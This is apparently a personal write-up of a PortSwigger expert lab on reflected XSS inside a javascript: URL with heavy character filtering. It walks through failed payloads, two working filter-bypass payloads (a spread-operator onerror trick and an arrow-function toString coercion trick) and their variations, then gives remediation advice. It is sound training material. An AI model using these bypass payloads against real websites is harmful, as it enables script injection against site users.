JavaScript URL XSS: Character-Blocking Bypass via Spread Operator
Lab Overview
Platform: PortSwigger Web Security Academy
Lab URL: https://0a22007e038aa42d835c1902006700ea.web-security-academy.net/
Difficulty: Expert
Category: Reflected XSS / Character Restriction Bypass
Objective: Execute alert() with “1337” in the message despite aggressive character filtering
Challenge Description
This lab presents a sophisticated character filtering bypass challenge. The application reflects user input into a JavaScript URL context (href="javascript:..."), blocking multiple common XSS characters including parentheses, backticks, backslashes, and square brackets.
The vulnerable code structure:
<a href="javascript:fetch('/analytics', {method:'post',body:'/post?postId=4'}).finally(_ => window.location = '/')">Back to Blog</a>
Injection Point: The body parameter reflects the current page URL including query parameters.
Success Criteria: Trigger an alert containing “1337” anywhere in the message.
Vulnerability Analysis
Injection Context
The user input is injected into an object literal passed to fetch():
fetch('/analytics', {
method:'post',
body:'[USER_INPUT_HERE]'
}).finally(_ => window.location = '/')
This creates unique constraints:
- We’re inside a string value within an object literal
- The
fetch()call lacks a closing parenthesis we can control - Any syntax errors prevent JavaScript execution entirely
Character Filter Analysis
Blocked Characters
| Character | Encoding/Result | Impact |
|---|---|---|
( ) |
Completely stripped | Cannot call functions directly |
` (backtick) |
Completely stripped | Cannot use tagged template literals |
\ |
Completely stripped | Cannot use escape sequences |
[ ] |
Completely stripped | Cannot use array/bracket notation |
< > |
HTML encoded (%3c, %3e) |
Cannot inject HTML tags |
Allowed Characters
- Single quotes
' - Semicolons
; - Curly braces
{} - Commas
, - Colons
: - Dots
. - Spread operator
... - Alphanumeric characters
- Standard operators (
=,+,-, etc.)
Attack Development Process
Failed Approaches
Documenting failed attempts is crucial for understanding the solution path.
1. HTML Injection
Payload: <img src=x onerror=alert(1337)>
Result: Angle brackets HTML encoded -> %3cimg src=x onerror=alert(1337)%3e
Why it failed: HTML injection completely blocked
2. Direct Function Call
Payload: '});alert(1337);//
Result: Parentheses stripped -> '});alert1337;//
Why it failed: Cannot call functions without ()
Key Learning: Standard XSS breakout techniques don’t work here
3. Tagged Template Literals
Payload: '});alert`1337`;//
Result: Backticks stripped -> '});alert1337;//
Why it failed: ES6 template literal syntax blocked
Significance: Modern JavaScript features like tagged templates are filtered
4. Unicode Escape Sequences
Payload: '\u007d\u0029;onerror=alert;throw 1337;//
\u007d=}\u0029=)
Result: Backslashes stripped -> 'u007du0029;onerror=alert;throw 1337;//
Why it failed: Escape sequences require backslashes
5. HTML Entity Encoding
Payload: '\u0029;... (HTML entity for backslash)
Result: Only & remains -> '%26...
Why it failed: HTML entities parsed and broken by filter
6. URL Encoding
Payload: '%7d%29;onerror=alert;throw 1337;//
%29=)%7d=}
Result: URL encoding doesn’t bypass filter Why it failed: Filter operates AFTER URL decoding Key Insight: Filter processes normalized input, not raw encoded input
7. Multi-line Comments
Payload: '};onerror=alert;throw 1337;/*
Result: Syntax error - unclosed fetch() call
Why it failed: Cannot fix syntax without closing parenthesis
8. Computed Property Names
Payload: ',x:1,[onerror=alert,undefined.x]:1,y:'
Result: Square brackets stripped -> ',x:1,onerror=alert,undefined.x:1,y:'
Why it failed: Bracket notation blocked
The Solution
Working Payload
/post?postId=3&x=',x:1,...onerror=alert,y:null[1337],z:'
Resulting JavaScript
fetch('/analytics', {
method:'post',
body:'/post?postId=3&x=',
x:1,
...onerror=alert,
y:null[1337],
z:''
}).finally(_ => window.location = '/')
Execution Flow (Step-by-Step)
Step 1: Object Literal Construction Begins
JavaScript starts evaluating the object literal passed to fetch():
{
method:'post',
body:'/post?postId=3&x=', // Our injection starts here
x:1, // Valid property
Step 2: Spread Operator Executes Assignment
...onerror=alert,
What happens:
- Assignment
onerror=alertexecutes first window.onerroris set to the nativealertfunction- Assignment returns the value (
alertfunction) - Spread operator
...attempts to spread the function into the object - Functions have no enumerable own properties, so nothing is added
- Critical: The assignment EXECUTED even though spreading did nothing
Why this works:
- Spread operator evaluates its operand as an expression
- Assignment expressions return values
- Side effects (setting
window.onerror) happen during evaluation
Step 3: Property Access Triggers Error
y:null[1337],
What happens:
- JavaScript tries to access property
1337onnull - Throws
TypeError: Cannot read property '1337' of null - Error message includes the property name:
1337 - Error bubbles up immediately (object construction fails)
Step 4: Error Handler Invoked
Error handling sequence:
- TypeError thrown during object evaluation
- Global error handler (
window.onerror) catches it window.onerroris now thealertfunction- Error message (containing “1337”) passed to
alert() - Alert fires with message:
"Uncaught TypeError: Cannot read property '1337' of null"
Step 5: Lab Solved
The alert displays an error message containing “1337”, satisfying the objective.
Note: This writeup documents our working solution using the spread operator. However, PortSwigger’s official solution uses a different technique involving arrow functions and toString coercion. Both solutions are valid XSS exploits, but the official solution demonstrates additional advanced JavaScript techniques worth understanding. See the “Official Solution Analysis” section below for details.
Official Solution Analysis
Official PortSwigger Payload
/post?postId=5&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:'
Resulting JavaScript
fetch('/analytics', {method:'post',body:'/post?postId=5&'},
x=x=>{throw/**/onerror=alert,1337},
toString=x,
window+'',
{x:''}).finally(_ => window.location = '/')
Execution Flow
1. Close the fetch Parameter Object
body:'/post?postId=5&'}
- Closes the
bodystring value - The
}closes the fetch parameter object - The
,after begins a series of sequential expressions in global scope
2. Define Arrow Function
,x=x=>{throw/**/onerror=alert,1337}
What happens:
x=x=>{...}creates a global arrow function assigned to variablex- Single parameter
xrequires no parentheses (bypasses filter!) - Function body:
{throw/**/onerror=alert,1337}/**/is an empty comment (whitespace)throw onerror=alert,1337uses comma operator- First evaluates
onerror=alert(sets global error handler) - Then evaluates
1337 - Finally throws
1337
Key technique: Arrow functions with single parameters don’t need () around the parameter!
3. Overwrite toString
,toString=x
- Sets global
toStringto our arrow function - This will be called during type coercion
4. Trigger via Type Coercion
,window+''
The trigger mechanism:
- Attempts to concatenate
windowobject with empty string - JavaScript performs type coercion to convert
windowto string - Calls
window.toString()for the conversion - Since we overwrote
toString, our arrow function executes! - Function runs -> sets
onerror=alert-> throws 1337 -> alert fires!
Critical insight: No explicit () needed to invoke the function - type coercion does it implicitly!
5. Consume Trailing Code
,{x:''}
- Creates an object literal to consume the trailing
'}).finally(...)from the original template - Ensures syntactically valid JavaScript
Why This Works
Arrow Functions with Single Parameters
Syntax: parameter => {body} requires no parentheses around single parameter
// These are equivalent:
function(x) { return x * 2; } // Traditional (needs parentheses)
x => x * 2 // Arrow (no parentheses needed!)
x => { return x * 2; } // Arrow with block (still no parentheses)
Exploitation:
- We can define functions without using blocked
()characters - Pattern:
x=x=>{code}defines function and assigns it globally
Implicit Function Invocation via toString
Type coercion automatically calls toString() when converting objects to strings:
window + '' // Needs to convert window to string
// Calls window.toString()
// But we overwrote toString!
No explicit () needed to invoke the function - coercion triggers it automatically.
Comma Operator in Global Scope
After } closes the object, the , creates sequential expressions that execute in global scope, not as object properties:
{...}, // Object ends
expr1, // Global expression 1
expr2, // Global expression 2
expr3 // Global expression 3
This allows global variable assignments: x=..., toString=...
Throw with Comma Operator
throw onerror=alert,1337
Evaluation order:
- Comma operator evaluates left-to-right
onerror=alertexecutes (sets handler)- Returns
alertfunction ,continues to next expression- Evaluates
1337 throwthrows the final value (1337)
Result: Handler is set BEFORE the throw executes!
Curly Braces Not Blocked
- Arrow function body uses
{...}for block statements - Only
()and[]were blocked, not{} - This allows complex function bodies
Comparison: Our Solution vs Official Solution
| Aspect | Our Solution (Spread Operator) | Official Solution (Arrow Function) |
|---|---|---|
| Key technique | Spread operator with assignment | Arrow function + toString coercion |
| Function definition | Not used | Single-param arrow function (no parens) |
| Function invocation | Not needed | Implicit via type coercion (window+'') |
| Error trigger | null[1337] property access |
throw 1337 statement |
| Scope context | Within object literal | Global assignments after object close |
| Handler setup | ...onerror=alert (spread side effect) |
onerror=alert inside arrow function |
| Elegance | Works but somewhat hacky | More aligned with intended solution |
| Complexity | Moderate - requires understanding spread | Higher - requires understanding coercion |
| Payload length | Shorter (63 characters) | Longer (86 characters) |
Why We Missed the Official Solution
1. Overlooked Arrow Function Syntax
What we missed:
- Single-parameter arrow functions don’t need
()around the parameter - We assumed ALL function definitions required parentheses
- Arrow function syntax
x => {body}was the key bypass
Learning: Always enumerate ALL valid syntax with available characters.
2. Missed toString Coercion Technique
What we missed:
- Implicit function calls via type coercion
- The pattern of overwriting
toStringthen triggering it withwindow+'' - This avoids needing explicit
()to call the function
Learning: Look for implicit operations - type coercion can trigger method calls without ().
3. Focused on Object Literal Context
What we did:
- Tried to work WITHIN the object literal constraints
- Added properties to the existing object
What the official solution does:
- Breaks OUT of the object using comma operator after
} - Executes global variable assignments in global scope
Learning: Sometimes breaking out of a context is better than working within it.
4. Confirmation Bias with Spread Operator
What happened:
- Once we found the spread operator worked, we stopped exploring
- Didn’t continue searching for more elegant solutions
- The official solution is more “intended” and demonstrates better technique
Learning: Even after finding a working solution, continue exploring for more elegant approaches - especially in learning environments.
5. Didn’t Fully Map Unblocked Syntax
What we missed:
- We identified blocked characters but didn’t systematically explore ALL valid JavaScript syntax with remaining characters
- Arrow functions, toString coercion, and comma operator global assignments were all available
- A systematic syntax enumeration would have revealed these options
Learning: Create a comprehensive map of available syntax, not just blocked syntax.
Key Learnings from Official Solution
1. Systematic Syntax Exploration
Technique: When characters are blocked, enumerate ALL valid JavaScript syntax with remaining characters
Process:
- List blocked characters:
()[]`\ - List allowed characters:
{},;':....operators - Map JavaScript features using ONLY allowed characters:
- Functions: Arrow functions with single param
- Function calls: Type coercion (implicit)
- Control flow: Comma operator
- Error handling: throw/onerror
2. Implicit vs Explicit Operations
Concept: Look for implicit operations, not just explicit ones
Examples:
- Implicit:
toString()via coercion (window+'') - Explicit:
window.toString()(needs()) - Implicit: Property getter/setter side effects
- Explicit: Direct method calls
Application: When direct operations are blocked, use implicit triggers.
3. Scope Manipulation
Technique: Breaking out of constrained contexts to global scope
{...}, // Close object
global1, // These execute in GLOBAL scope
global2, // Not as object properties!
global3
Key insight: Comma operator after } creates sequential statements in outer scope.
4. Multiple Solution Paths
Philosophy: Both our solution and the official solution work - both are valid XSS exploits
Benefits of learning both:
- Deepens understanding of JavaScript internals
- Provides alternative techniques for different scenarios
- In real pentests, ANY working solution is valid
- Learning alternatives improves overall skills
Takeaway: Don’t stop at the first solution - explore multiple approaches.
5. Arrow Function Parentheses Bypass
Pattern: Single-parameter arrow functions bypass parentheses filters
Syntax variations:
// Single parameter - NO parentheses needed
x => expression
x => {statements}
// Multiple parameters - parentheses REQUIRED
(x, y) => expression
// No parameters - parentheses REQUIRED
() => expression
Exploitation: When () is blocked, use single-parameter arrow functions.
Updated References
Arrow Functions and Coercion
Advanced XSS Techniques
Technical Deep Dive
Spread Operator Exploitation
Normal Usage
const obj1 = {a: 1, b: 2};
const obj2 = {...obj1, c: 3};
// obj2 = {a: 1, b: 2, c: 3}
Our Abuse
...onerror=alert
// 1. Assigns alert to window.onerror (SIDE EFFECT)
// 2. Attempts to spread the alert function
// 3. Functions have no enumerable properties, adds nothing
// 4. But the assignment already happened!
Why This Matters
The spread operator evaluates expressions for their value, but any side effects execute during evaluation. We exploited this to:
- Set a global variable (
window.onerror) - Without needing parentheses for a function call
- While maintaining syntactically valid JavaScript
Error Triggering Techniques
Why null[1337]?
Requirements:
- Trigger a runtime error during object construction
- Include “1337” in the error message
- Use only allowed characters
Why this works:
- Property access on
nullalways throws TypeError - Error message includes the property name
- No blocked characters needed
Alternative error triggers (with allowed characters):
y:undefined.x // TypeError: Cannot read property 'x' of undefined
y:null.toString() // TypeError, but uses parentheses (blocked)
y:(1337).x // Parentheses blocked
y:{}.x[1337] // Square brackets blocked
JavaScript Evaluation Order
Understanding evaluation order is critical:
{
property1: value1, // Evaluated left-to-right
property2: value2, // Evaluated in sequence
property3: value3, // Error here stops evaluation
}
For our payload:
body:'/post?postId=3&x='-> Evaluatedx:1-> Evaluated...onerror=alert-> Assignment executes, onerror sety:null[1337]-> ERROR THROWN -> Error handler (alert) calledz:''-> Never evaluated (object construction failed)
Window.onerror Handler
Standard Signature
window.onerror = function(message, source, lineno, colno, error) {
// message: Error message string
// source: URL of script
// lineno: Line number
// colno: Column number
// error: Error object
};
Our Abuse
window.onerror = alert;
// alert() accepts one argument (message)
// When error occurs, alert gets the error message as first argument
// Other arguments ignored
Why alert works as error handler:
alert()accepts any value and displays it- Only the first argument (error message) is used
- Additional
onerrorparameters ignored
Alternative Solutions
Variation 1: Different Error Trigger
/post?postId=3&x=',x:1,...onerror=alert,y:undefined.a1337,z:'
Difference: Uses undefined.a1337 instead of null[1337]
Result: TypeError: Cannot read property 'a1337' of undefined (still contains “1337”)
Variation 2: Assignment-then-Error Pattern
/post?postId=3&x=',x:1,y:onerror=alert,z:null[1337],end:'
Difference: Standard assignment instead of spread operator Why this works:
- Direct property assignment:
y:onerror=alert - Assignment returns
alertfunction (becomes property value) - Still sets
window.onerroras side effect
Comparison to spread operator:
- Spread: More elegant, exploits ES6 feature
- Direct: More obvious, easier to understand
Key Techniques Learned
1. Parentheses-Free Function Assignment
Problem: Need to call alert() but () is blocked
Solution 1: Use error handlers (our approach)
onerror=alert; // Set handler
throw "message"; // Trigger it
Or with our spread technique:
...onerror=alert, // Set handler via spread
null[1337] // Trigger via property access error
Solution 2: Arrow functions + type coercion (official approach)
x=x=>{code}; // Define function (no parentheses!)
toString=x; // Overwrite toString
window+''; // Trigger via coercion (implicit call)
2. Controlled Error Messages
Technique: Access properties on null/undefined to trigger TypeErrors with predictable messages
null[1337] // "Cannot read property '1337' of null"
undefined.anything // "Cannot read property 'anything' of undefined"
null.x // "Cannot read property 'x' of null"
Application: When you need specific content in error messages
3. Spread Operator for Side Effects
Discovery: Spread operator executes assignment expressions
{...x=value} // Assigns x=value, attempts to spread result
Exploitation contexts:
- Object literals (our case)
- Array literals:
[...x=value] - Function calls:
func(...x=value)(but parentheses needed)
4. Arrow Function Syntax for Filter Bypass
Discovery: Single-parameter arrow functions don’t require parentheses
// Traditional function (needs parentheses)
function(x) { return x * 2; }
// Arrow with single param (NO parentheses)
x => x * 2
x => { return x * 2; }
// Arrow with multiple params (needs parentheses)
(x, y) => x + y
Exploitation: When () is blocked, use single-parameter arrow functions
5. Type Coercion for Implicit Function Calls
Discovery: Type coercion can trigger method calls without explicit ()
toString=myFunction; // Overwrite toString
window+''; // Implicit toString() call during coercion
Other coercion triggers:
- String concatenation:
object + '' - String interpolation:
${object}(but backticks blocked here) - Comparison:
object == 'string'
6. Working Within Constraints
Philosophy: When you can’t break out, work within the existing structure
Our context: Object literal inside fetch() call
Strategy: Add properties to the object instead of escaping it
Lesson: Understanding the injection context enables creative solutions
7. Breaking Out of Constraints
Alternative philosophy: Break out of limited contexts to gain more control Technique: Comma operator after object close
{...}, // Close object
globalVar1=value, // Execute in global scope
globalVar2=value, // Not object properties!
Lesson: Both “work within” and “break out” approaches can succeed
8. Object Literal Abuse
Object literals evaluate properties left-to-right, stopping on errors:
{
safe: 1,
exploit: (set_handler),
trigger: (cause_error),
unreachable: (never_evaluated)
}
This creates a reliable execution sequence for multi-stage exploits.
Remediation
How to Prevent This XSS
1. Avoid JavaScript URL Contexts
Problem: href="javascript:..." is inherently dangerous
Solution: Use event handlers or proper JavaScript patterns
<!-- BAD: JavaScript URL with user input -->
<a href="javascript:doSomething('[USER_INPUT]')">Click</a>
<!-- GOOD: Event handler with proper escaping -->
<a href="#" onclick="doSomething(this); return false;">Click</a>
<!-- BETTER: Unobtrusive JavaScript -->
<a href="#" class="analytics-link" data-post-id="4">Click</a>
<script>
document.querySelectorAll('.analytics-link').forEach(link => {
link.addEventListener('click', function(e) {
e.preventDefault();
sendAnalytics(this.dataset.postId);
});
});
</script>
2. Context-Aware Output Encoding
Problem: Character blocklisting is insufficient Solution: Encode for the specific context
For JavaScript string context:
function escapeJavaScript(str) {
return str.replace(/[\\\'"\n\r\t\b\f]/g, function(char) {
return '\\' + char;
}).replace(/[^\x20-\x7E]/g, function(char) {
return '\\u' + ('0000' + char.charCodeAt(0).toString(16)).slice(-4);
});
}
3. Content Security Policy (CSP)
Best defense: Prevent inline JavaScript execution entirely
Content-Security-Policy: script-src 'self'; object-src 'none';
This would block:
javascript:URLs- Inline
onclickhandlers eval()and similar
4. Use Safe APIs
Redesign to avoid reflecting user input into JavaScript:
// Instead of embedding in href:
// <a href="javascript:fetch(...body:'[USER_INPUT]')...">
// Use data attributes and proper JavaScript:
// <a href="#" data-post-id="4" class="back-link">
document.addEventListener('click', function(e) {
if (e.target.matches('.back-link')) {
e.preventDefault();
const postId = e.target.dataset.postId;
fetch('/analytics', {
method: 'POST',
body: '/post?postId=' + encodeURIComponent(postId)
}).finally(() => window.location = '/');
}
});
5. Allowlisting Over Blocklisting
Problem: Blocklisting characters is always incomplete Solution: Allow only expected patterns
// For post IDs, only allow numbers
if (!/^\d+$/.test(postId)) {
throw new Error('Invalid post ID');
}
References
PortSwigger Resources
JavaScript Specifications
Related XSS Techniques
Security Best Practices
Lab Metadata
Completed: 2025-12-03
Platform: PortSwigger Web Security Academy
Lab URL: https://0a22007e038aa42d835c1902006700ea.web-security-academy.net/
Category: Client-Side Vulnerabilities -> Cross-Site Scripting
Difficulty: Expert
Tags: xss, reflected-xss, javascript-context, character-filtering, spread-operator, error-handler, es6
Skills Demonstrated
- Advanced XSS payload crafting under severe character restrictions
- Character restriction bypass techniques (spread operator, arrow functions)
- Modern JavaScript feature exploitation (ES6+ arrow functions, spread syntax)
- Error handler abuse for function invocation
- Type coercion exploitation for implicit function calls
- Creative use of language features for security bypasses
- Systematic testing methodology
- Understanding of JavaScript evaluation order and scope
- Global variable manipulation via comma operator
- Multiple solution approaches to the same problem
Time Investment
- Initial testing: 15 minutes
- Failed attempts: 45 minutes
- Solution discovery: 30 minutes
- Writeup creation: 60 minutes
- Total: ~2.5 hours
Difficulty Reflection
Initial Assessment (Spread Operator Solution)
This lab required:
- Deep JavaScript knowledge: Understanding spread operator behavior and object literal evaluation
- Creative thinking: Combining techniques in novel ways
- Persistence: Many failed attempts before success
- Systematic approach: Testing different encoding/bypass methods methodically
Initial Rating: 9/10 - One of the most challenging XSS labs, requiring advanced JavaScript exploitation knowledge
Updated Assessment (With Official Solution Knowledge)
The official solution adds additional complexity:
- ES6 arrow function syntax nuances: Understanding single-parameter syntax without parentheses
- JavaScript type coercion mechanics: Knowing how
toString()is implicitly called - toString method overwriting: Recognizing this as an exploitation technique
- Global vs. local scope in expression contexts: Understanding comma operator behavior after object literals
- Implicit function invocation: Triggering function execution without
()
Updated Rating: 9.5/10
This is an expert-level XSS challenge that tests:
- Deep JavaScript internals knowledge
- Multiple bypass techniques (spread operator, arrow functions, type coercion)
- Creative problem-solving under severe constraints
- Ability to chain multiple sophisticated techniques
Why not 10/10? Once you understand the core concepts (arrow function syntax, type coercion, comma operator scope), the solution becomes logical. A 10/10 would require discovering entirely novel JavaScript behavior or exploiting undocumented features.